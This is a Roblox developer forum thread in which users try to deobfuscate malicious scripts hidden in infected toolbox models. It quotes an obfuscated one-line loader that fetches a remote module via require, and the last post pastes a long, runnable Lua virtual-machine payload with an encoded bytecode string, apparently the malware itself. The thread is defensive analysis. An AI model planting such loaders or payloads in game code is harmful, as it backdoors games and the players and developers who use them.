How do I dissect obfuscated scripts?

[ForbiddenJ]

I’m finding a few infected models being botted to the front of the Library. These models have obfuscated scripts in them. Heck, this script in one model (with loooong tab spam removed):

getfenv()[string.reverse("\101\114\105\117\113\101\114")](getfenv()["\116\111\110\117\109\98\101\114"](string["\99\104\97\114"](getfenv()["\117\110\112\97\99\107"]{48,88,67,67,52,48,67,69,65,49})))

turned into this:

require(3426799265)

The ModuleScript there has a ton of obfuscated code. It even does local variable spam:

local a=select;local b=string.byte;local c=string.sub;local d=string.char;

I can deobfuscate stuff, but I don’t have the time to dig through this much obfuscated code.

Anybody know of helper tools or resources I can use to solve things like this faster?

Interesting, but mean phrase I found

“HELP ME PEOPLE ARE CRASHING MY GAME PLZ HELP”

[RomeoEDD]

You can just copy the code in Microsoft word and then just use the find and replace feature to change the variable names throughout the code.

[xonae]

Outside of stuff to make it easier (such as a beautifier), not really. You’ll have to dissect it by hand, but it’s quite an enjoyable experience personally. You learn something from it, there’s no loss on your part.

If you require a beautifier (can also rename variable names to make reverse engineering it a bit easier) then you can use this: https://www.roblox.com/library/197760456/Stravant-Minify-Beautify

Great plugin by stravant, super useful for when I need to take apart some obfuscated code.

[ForbiddenJ]

I like the formatting. This should help.

The script is way too large for the plugin to see the whole thing (Roblox API truncates script.Source to something like 20,000 characters), and so it errors. Ima try to feed in the text directly using a script that uses string block syntax.

[railworks2]

Hi there.

Just worth bring it up that this has been obfuscated using Synapse Xen, the tools around to handle this is limited and is not designed to be easy to fix; along with any efforts shared anywhere in the DevFourms could be seen, especially public and new member areas, so please expect that when communicating here like you are.

Effectively, this is not a fast process and will take a long period of time. It also depends on what settings have been used with Xen and how that can change how you deobfuscate. These are, according to the creator :

• Reduced Mode: You can disable certain protection features to improve script performance. This is useful for larger scripts that wish to keep high performance while still being obfuscated.

• Constant Protection: This protection allows you to protect certain constants in your script from being dumped. This is really useful for ‘high value’ strings that you do not want to be grabbed from your script.

• Anti-Axon/Anti-Sandbox Built In: Synapse Xen gives you the option to automatically disallow people using Axon based exploits from executing your scripts, while requiring no changes on your end. It also protects against most types of Lua sandboxes commonly used by Roblox game developers.

• VM Bytecode Obfuscation: This protects the Synapse Xen VM at the bytecode level, making it even more difficult for someone to reverse engineer your scripts. This feature currently only works on Synapse X. (and hopefully ProtoSmasher in the next update)

According to creator,

Synapse Xen uses all available techniques I know of to protect your script. Of course, deobfuscating your script (or by that matter, any obfuscated application) is possible, but doing it is very difficult, time consuming, and is most definitely not a trivial task.

This is not just a few simple tricks, this person has spent a lot of time at the very details of Lua and Roblox to create tools like this.

---

Based on this, including that the price to use this is free (w/ Synapse X), it’s worth reminding you that even when you do, it may be possible that they’ll find a work around and just make it harder to deobfuscate in the future.

Some top quotes

local s= “wait for someone on devforum to say they are gonna deobfuscate this”

local s= “hi devforum”

[Kensizo]

Taking the script you provided;

getfenv()[string.reverse("\101\114\105\117\113\101\114")](getfenv()["\116\111\110\117\109\98\101\114"](string["\99\104\97\114"](getfenv()["\117\110\112\97\99\107"]{48,88,67,67,52,48,67,69,65,49})))

All you have to do to deobfuscate is to add a print() statement, here is what we get;

print("\101\114\105\117\113\101\114\116\111\110\117\109\98\101\114\99\104\97\114\117\110\112\97\99\107")

eriuqer --The reason why they have string.reverse() is because if you print this area with string.reverse() it reverses the string, pretty sure you already knew this. 
require --this is what it is when reversed
tonumber --A to number statement
char --Character?
unpack --Unpack argument

Now we are left with this which is a table.

{48,88,67,67,52,48,67,69,65,49}

Now lets move on to the module, this is super difficult, as railworks mentioned.

I was able to decode this module, but it took me around 20 minutes. My only issue is, this has a ton of profanity in it, so I will not be posting this.
(Once I remove all profanity however I will post the module. Using Hex you can decode most of this, then the rest is manual.)

I’ve gotten rid of all the profanity, here is a download to the module.
DoNotRunThisModuleItisAVirusDecoded.lua (78.7 KB)

I am unsure if this uses Synapse Xen, or Luraph. It mentions buying Luraph instead of Synapse several times, so I am guessing this is Luraph encoded. From what I’ve heard, Luraph is much easier to decode than Synapse Xen. I used a HexDecoder, and then the rest I decoded on my own. This took approximately 20 minutes.

[AGoodGuyHere]

@ForbiddenJ

local f = string.byte
local h = string.char
local c = string.sub
local u = table.concat
local s = table.insert
local F = math.ldexp
local C = getfenv or function()
	return _ENV
end
local D = setmetatable
local r = select
local t = unpack or table.unpack
local i = tonumber
local function E(d)
	local e, n, o = "", "", {}
	local a = 256
	local t = {}
	for l = 0, a - 1 do
		t[l] = h(l)
	end
	local l = 1
	local function f()
		local e = i(c(d, l, l), 36)
		l = l + 1
		local n = i(c(d, l, l + e - 1), 36)
		l = l + e
		return n
	end
	e = h(f())
	o[1] = e
	while l < #d do
		local l = f()
		if t[l] then
			n = t[l]
		else
			n = e .. c(e, 1, 1)
		end
		t[a] = e .. c(n, 1, 1)
		o[#o + 1], e, a = n, n, a + 1
	end
	return table.concat(o)
end
local i =
E(
	"26X26927526926D27623Q23K23W23O26A27525D22E1N24L1924G27E26923L26Q26B24K27K27M1X24I26A27R27L27523L24Y21322V1627Y27N26N21523Q27K26926J27624M23O24524Y23O24324723S23M23O28B27624Z24423Z28H28J28L28N26H27624O24224Y24524423P23S23Y26926R27624S23K24323U28F24123X23K28M28T28K28M26926M27625123O23X23O24123Y24328G28I29K28N26E27624X29G24828I24226926I2A12A328I24G23P23P23O23P2692A027524I23Y23Z23Z23O23M2452772762AN2492AQ28C27528E2452A223K2A42432A626G27623M29U23Y24424523S2AN2AR27524624323K24126926F27624223T29B2AF26926T27626124425V23M23X23X25Y23O26124Y23W26124R24W24B24U24M23T23T25126B2682AH27624323O24024423S2CI27M23525R23X21T1G28527627626427626R2BS2752CF2CV2692CF2D22CV26B26926C2CY27527E2D82752982AR27M2972752DA2782DF2752BL2DA2DN2CG2BL2D32D82A02D226V26927E2DI25D26N2BE2CG2762DL2D32BK2D32DG2A028X2D32DA2A02D825D2DK2D92692B52E62692D82D82DT2DA2632D42EU26D26S2762ET2D22DP2E426926Z2E92CV2EB28O2EE2CG2DE2DO2F22752AI2DB26928X2A82D32BL28X2FB2CG2DM2CV2ED2FG2B526L2CV26Q2CG2B52EQ25G2FH2762CF2DE25R2762FN2G52EJ27F25N2EL2CG26K2692EI2GC2B52E32762A82FR2762B52A82CF2DG2B529N27F27528C2A026P2CV28C2D82A82FP26925V2EU26R25Z2692E326O27625D2A02E32E329826F2G029N2D52EO2752G82G12762HO2GE2762GE2E32EP2GU2E32HL26926Y2692FU2CV26F2DA2B52GB2G32772EX2752I82972H82B52FW27525T2CF2B52BS2EX2GR2692DY2DR28C26U2E82FY2EU2EN2F625P2EK27427625K2EK2FN2FB2D62HM2FC2DC2E82JA2D31H26629M2A92B128I24U24623Z24224G24224228F2H92A124323Y23W2412AZ24424323M2BO2JQ2E424623K23S2452DI27626H24H2712CY2IZ2HZ2GF2702EU2I92AR2FN2752FM2HM2CF26F2H52DV2KJ2IA2762DW2KV2752I12D227827E2D625D25Y2DZ2L72K92DQ2E82BL2KM2L72LC2F527E2HK2EV2IB2JG2CF2EW2762HB2LM2LK2HL2LN2FE2IW2L22IW2GF2GY2E02F22LA2FK2J82CV27E2BL2GQ2JA2LA2DG2782DT2M52KP2F22KX2LT2KU2M42D62J72CV2H32H32MN2MJ2E82D82D22J62JB269"
)
local o = bit and bit.bxor or function(l, e)
	local n, o = 1, 0
	while l > 0 and e > 0 do
		local a, c = l % 2, e % 2
		if a ~= c then
			o = o + n
		end
		l, e, n = (l - a) / 2, (e - c) / 2, n * 2
	end
	if l < e then
		l = e
	end
	while l > 0 do
		local e = l % 2
		if e > 0 then
			o = o + n
		end
		l, n = (l - e) / 2, n * 2
	end
	return o
end
local function n(e, l, n)
	if n then
		local l = (e / 2 ^ (l - 1)) % 2 ^ ((n - 1) - (l - 1) + 1)
		return l - l % 1
	else
		local l = 2 ^ (l - 1)
		return (e % (l + l) >= l) and 1 or 0
	end
end
local l = 1
local function e()
	local c, a, n, e = f(i, l, l + 3)
	c = o(c, 225)
	a = o(a, 225)
	n = o(n, 225)
	e = o(e, 225)
	l = l + 4
	return (e * 16777216) + (n * 65536) + (a * 256) + c
end
local function d()
	local e = o(f(i, l, l), 225)
	l = l + 1
	return e
end
local function a()
	local e, n = f(i, l, l + 2)
	e = o(e, 225)
	n = o(n, 225)
	l = l + 2
	return (n * 256) + e
end
local function E()
	local o = e()
	local l = e()
	local c = 1
	local o = (n(l, 1, 20) * (2 ^ 32)) + o
	local e = n(l, 21, 31)
	local l = ((-1) ^ n(l, 32))
	if (e == 0) then
		if (o == 0) then
			return l * 0
		else
			e = 1
			c = 0
		end
	elseif (e == 2047) then
		return (o == 0) and (l * (1 / 0)) or (l * (0 / 0))
	end
	return F(l, e - 1023) * (c + (o / (2 ^ 52)))
end
local F = e
local function A(e)
	local n
	if (not e) then
		e = F()
		if (e == 0) then
			return ""
		end
	end
	n = c(i, l, l + e - 1)
	l = l + e
	local e = {}
	for l = 1, #n do
		e[l] = h(o(f(c(n, l, l)), 225))
	end
	return u(e)
end
local l = e
local function F(...)
	return {...}, r("#", ...)
end
local function u()
	local h = {}
	local f = {}
	local l = {}
	local i = {h, f, nil, l}
	local l = e()
	local o = {}
	for n = 1, l do
		local e = d()
		local l
		if (e == 2) then
			l = (d() ~= 0)
		elseif (e == 3) then
			l = E()
		elseif (e == 0) then
			l = A()
		end
		o[n] = l
	end
	for f = 1, e() do
		local l = d()
		if (n(l, 1, 1) == 0) then
			local c = n(l, 2, 3)
			local t = n(l, 4, 6)
			local l = {a(), a(), nil, nil}
			if (c == 0) then
				l[3] = a()
				l[4] = a()
			elseif (c == 1) then
				l[3] = e()
			elseif (c == 2) then
				l[3] = e() - (2 ^ 16)
			elseif (c == 3) then
				l[3] = e() - (2 ^ 16)
				l[4] = a()
			end
			if (n(t, 1, 1) == 1) then
				l[2] = o[l[2]]
			end
			if (n(t, 2, 2) == 1) then
				l[3] = o[l[3]]
			end
			if (n(t, 3, 3) == 1) then
				l[4] = o[l[4]]
			end
			h[f] = l
		end
	end
	i[3] = d()
	for l = 1, e() do
		f[l - 1] = u()
	end
	return i
end
local function h(l, i, d)
	local e = l[1]
	local n = l[2]
	local l = l[3]
	return function(...)
		local c = e
		local E = n
		local o = l
		local l = F
		local n = 1
		local l = -1
		local u = {}
		local f = {...}
		local r = r("#", ...) - 1
		local a = {}
		local e = {}
		for l = 0, r do
			if (l >= o) then
				u[l - o] = f[l + 1]
			else
				e[l] = f[l + 1]
			end
		end
		local l = r - o + 1
		local l
		local o
		while true do
			l = c[n]
			o = l[1]
			if o <= 27 then
				if o <= 13 then
					if o <= 6 then
						if o <= 2 then
							if o <= 0 then
								local l = l[2]
								e[l](e[l + 1])
							elseif o == 1 then
								local t
								local r
								local f
								local i
								local h
								local o
								e[l[2]][l[3]] = l[4]
								n = n + 1
								l = c[n]
								e[l[2]] = d[l[3]]
								n = n + 1
								l = c[n]
								e[l[2]] = l[3]
								n = n + 1
								l = c[n]
								o = l[2]
								e[o](e[o + 1])
								n = n + 1
								l = c[n]
								o = l[2]
								h = {}
								for l = 1, #a do
									i = a[l]
									for l = 0, #i do
										f = i[l]
										r = f[1]
										t = f[2]
										if r == e and t >= o then
											h[t] = r[t]
											f[1] = h
										end
									end
								end
							else
								do
									return
								end
							end
						elseif o <= 4 then
							if o == 3 then
								local r = E[l[3]]
								local f
								local o = {}
								f =
								D(
									{},
									{__index = function(e, l)
											local l = o[l]
											return l[1][l[2]]
										end, __newindex = function(n, l, e)
											local l = o[l]
											l[1][l[2]] = e
										end}
								)
								for t = 1, l[4] do
									n = n + 1
									local l = c[n]
									if l[1] == 46 then
										o[t - 1] = {e, l[3]}
									else
										o[t - 1] = {i, l[3]}
									end
									a[#a + 1] = o
								end
								e[l[2]] = h(r, f, d)
							else
								e[l[2]] = i[l[3]]
							end
						elseif o > 5 then
							e[l[2]] = e[l[3]]
						else
							local o = l[2]
							local a = l[4]
							local c = o + 2
							local o = {e[o](e[o + 1], e[c])}
							for l = 1, a do
								e[c + l] = o[l]
							end
							local o = o[1]
							if o then
								e[c] = o
								n = l[3]
							else
								n = n + 1
							end
						end
					elseif o <= 9 then
						if o <= 7 then
							e[l[2]] = e[l[3]][l[4]]
						elseif o > 8 then
							e[l[2]]()
						else
							e[l[2]] = e[l[3]][e[l[4]]]
						end
					elseif o <= 11 then
						if o == 10 then
							e[l[2]] = d[l[3]]
						else
							local t = l[2]
							local o = {}
							for l = 1, #a do
								local l = a[l]
								for n = 0, #l do
									local l = l[n]
									local c = l[1]
									local n = l[2]
									if c == e and n >= t then
										o[n] = c[n]
										l[1] = o
									end
								end
							end
						end
					elseif o > 12 then
						local l = l[2]
						e[l] = e[l](e[l + 1])
					else
						local n = l[2]
						local o = e[l[3]]
						e[n + 1] = o
						e[n] = o[l[4]]
					end
				elseif o <= 20 then
					if o <= 16 then
						if o <= 14 then
							local a
							local o
							e[l[2]] = e[l[3]][l[4]]
							n = n + 1
							l = c[n]
							e[l[2]] = e[l[3]]
							n = n + 1
							l = c[n]
							e[l[2]] = e[l[3]]
							n = n + 1
							l = c[n]
							e[l[2]] = l[3]
							n = n + 1
							l = c[n]
							o = l[2]
							e[o] = e[o](t(e, o + 1, l[3]))
							n = n + 1
							l = c[n]
							o = l[2]
							a = e[l[3]]
							e[o + 1] = a
							e[o] = a[l[4]]
							n = n + 1
							l = c[n]
							o = l[2]
							e[o] = e[o](e[o + 1])
							n = n + 1
							l = c[n]
							if not e[l[2]] then
								n = n + 1
							else
								n = l[3]
							end
						elseif o > 15 then
							local a
							local o
							o = l[2]
							a = e[l[3]]
							e[o + 1] = a
							e[o] = a[l[4]]
							n = n + 1
							l = c[n]
							e[l[2]] = e[l[3]]
							n = n + 1
							l = c[n]
							e[l[2]] = e[l[3]]
							n = n + 1
							l = c[n]
							o = l[2]
							e[o](t(e, o + 1, l[3]))
							n = n + 1
							l = c[n]
							e[l[2]] = d[l[3]]
							n = n + 1
							l = c[n]
							e[l[2]] = l[3]
							n = n + 1
							l = c[n]
							o = l[2]
							e[o](e[o + 1])
							n = n + 1
							l = c[n]
							n = l[3]
						else
							e[l[2]] = i[l[3]]
						end
					elseif o <= 18 then
						if o == 17 then
							e[l[2]] = l[3]
						else
							for l = l[2], l[3] do
								e[l] = nil
							end
						end
					elseif o > 19 then
						local a
						local o
						e[l[2]] = d[l[3]]
						n = n + 1
						l = c[n]
						for l = l[2], l[3] do
							e[l] = nil
						end
						n = n + 1
						l = c[n]
						e[l[2]] = {}
						n = n + 1
						l = c[n]
						e[l[2]] = l[3]
						n = n + 1
						l = c[n]
						e[l[2]] = l[3]
						n = n + 1
						l = c[n]
						e[l[2]] = l[3]
						n = n + 1
						l = c[n]
						e[l[2]] = l[3]
						n = n + 1
						l = c[n]
						e[l[2]] = l[3]
						n = n + 1
						l = c[n]
						o = l[2]
						a = e[o]
						for l = o + 1, l[3] do
							s(a, e[l])
						end
					else
						local n = l[2]
						e[n] = e[n](t(e, n + 1, l[3]))
					end
				elseif o <= 23 then
					if o <= 21 then
						n = l[3]
					elseif o > 22 then
						e[l[2]] = {}
					else
						for l = l[2], l[3] do
							e[l] = nil
						end
					end
				elseif o <= 25 then
					if o > 24 then
						local n = l[2]
						local c = {e[n](e[n + 1])}
						local o = 0
						for l = n, l[4] do
							o = o + 1
							e[l] = c[o]
						end
					else
						local n = l[2]
						e[n] = e[n](t(e, n + 1, l[3]))
					end
				elseif o == 26 then
					local o
					e[l[2]] = e[l[3]]
					n = n + 1
					l = c[n]
					e[l[2]] = l[3]
					n = n + 1
					l = c[n]
					o = l[2]
					e[o] = e[o](t(e, o + 1, l[3]))
					n = n + 1
					l = c[n]
					e[l[2]] = e[l[3]]
					n = n + 1
					l = c[n]
					e[l[2]] = e[l[3]]
					n = n + 1
					l = c[n]
					e[l[2]] = l[3]
					n = n + 1
					l = c[n]
					o = l[2]
					e[o] = e[o](t(e, o + 1, l[3]))
					n = n + 1
					l = c[n]
					e[l[2]] = e[l[3]]
					n = n + 1
					l = c[n]
					e[l[2]] = e[l[3]]
					n = n + 1
					l = c[n]
					e[l[2]] = l[3]
				else
					local t = l[2]
					local c = {}
					for l = 1, #a do
						local l = a[l]
						for n = 0, #l do
							local l = l[n]
							local o = l[1]
							local n = l[2]
							if o == e and n >= t then
								c[n] = o[n]
								l[1] = c
							end
						end
					end
				end
			elseif o <= 41 then
				if o <= 34 then
					if o <= 30 then
						if o <= 28 then
							local l = l[2]
							e[l](e[l + 1])
						elseif o == 29 then
							e[l[2]] = e[l[3]] + l[4]
						else
							n = l[3]
						end
					elseif o <= 32 then
						if o == 31 then
							local n = l[2]
							local o = e[n]
							for l = n + 1, l[3] do
								s(o, e[l])
							end
						else
							e[l[2]]()
						end
					elseif o == 33 then
						local l = l[2]
						e[l] = e[l](e[l + 1])
					else
						local o = l[2]
						local n = e[l[3]]
						e[o + 1] = n
						e[o] = n[l[4]]
					end
				elseif o <= 37 then
					if o <= 35 then
						if not e[l[2]] then
							n = n + 1
						else
							n = l[3]
						end
					elseif o == 36 then
						e[l[2]][l[3]] = l[4]
					else
						local r = E[l[3]]
						local f
						local o = {}
						f =
						D(
							{},
							{__index = function(e, l)
									local l = o[l]
									return l[1][l[2]]
								end, __newindex = function(n, l, e)
									local l = o[l]
									l[1][l[2]] = e
								end}
						)
						for t = 1, l[4] do
							n = n + 1
							local l = c[n]
							if l[1] == 46 then
								o[t - 1] = {e, l[3]}
							else
								o[t - 1] = {i, l[3]}
							end
							a[#a + 1] = o
						end
						e[l[2]] = h(r, f, d)
					end
				elseif o <= 39 then
					if o == 38 then
						do
							return e[l[2]]
						end
					else
						local o = l[2]
						local c = {e[o](e[o + 1])}
						local n = 0
						for l = o, l[4] do
							n = n + 1
							e[l] = c[n]
						end
					end
				elseif o > 40 then
					do
						return e[l[2]]
					end
				else
					e[l[2]] = e[l[3]][l[4]]
				end
			elseif o <= 48 then
				if o <= 44 then
					if o <= 42 then
						local f
						local i
						local a
						local o
						e[l[2]] = e[l[3]][l[4]]
						n = n + 1
						l = c[n]
						o = l[2]
						a = e[l[3]]
						e[o + 1] = a
						e[o] = a[l[4]]
						n = n + 1
						l = c[n]
						e[l[2]] = e[l[3]]
						n = n + 1
						l = c[n]
						o = l[2]
						e[o](t(e, o + 1, l[3]))
						n = n + 1
						l = c[n]
						e[l[2]] = d[l[3]]
						n = n + 1
						l = c[n]
						o = l[2]
						a = e[l[3]]
						e[o + 1] = a
						e[o] = a[l[4]]
						n = n + 1
						l = c[n]
						o = l[2]
						i = {e[o](e[o + 1])}
						f = 0
						for l = o, l[4] do
							f = f + 1
							e[l] = i[f]
						end
						n = n + 1
						l = c[n]
						n = l[3]
					elseif o > 43 then
						e[l[2]] = l[3]
					else
						e[l[2]] = e[l[3]] + l[4]
					end
				elseif o <= 46 then
					if o > 45 then
						e[l[2]] = e[l[3]]
					else
						e[l[2]] = e[l[3]][e[l[4]]]
					end
				elseif o == 47 then
					local n = l[2]
					e[n](t(e, n + 1, l[3]))
				else
					do
						return
					end
				end
			elseif o <= 52 then
				if o <= 50 then
					if o > 49 then
						if not e[l[2]] then
							n = n + 1
						else
							n = l[3]
						end
					else
						local n = l[2]
						local o = e[n]
						for l = n + 1, l[3] do
							s(o, e[l])
						end
					end
				elseif o > 51 then
					local c = l[2]
					local a = l[4]
					local o = c + 2
					local c = {e[c](e[c + 1], e[o])}
					for l = 1, a do
						e[o + l] = c[l]
					end
					local c = c[1]
					if c then
						e[o] = c
						n = l[3]
					else
						n = n + 1
					end
				else
					local n = l[2]
					e[n](t(e, n + 1, l[3]))
				end
			elseif o <= 54 then
				if o == 53 then
					e[l[2]] = {}
				else
					e[l[2]] = d[l[3]]
				end
			elseif o > 55 then
				e[l[2]][l[3]] = l[4]
			else
				local a
				local o
				o = l[2]
				a = e[l[3]]
				e[o + 1] = a
				e[o] = a[l[4]]
				n = n + 1
				l = c[n]
				e[l[2]] = e[l[3]]
				n = n + 1
				l = c[n]
				e[l[2]] = e[l[3]]
				n = n + 1
				l = c[n]
				o = l[2]
				e[o] = e[o](t(e, o + 1, l[3]))
				n = n + 1
				l = c[n]
				if not e[l[2]] then
					n = n + 1
				else
					n = l[3]
				end
			end
			n = n + 1
		end
	end
end
return h(u(), {}, C())()
im done lol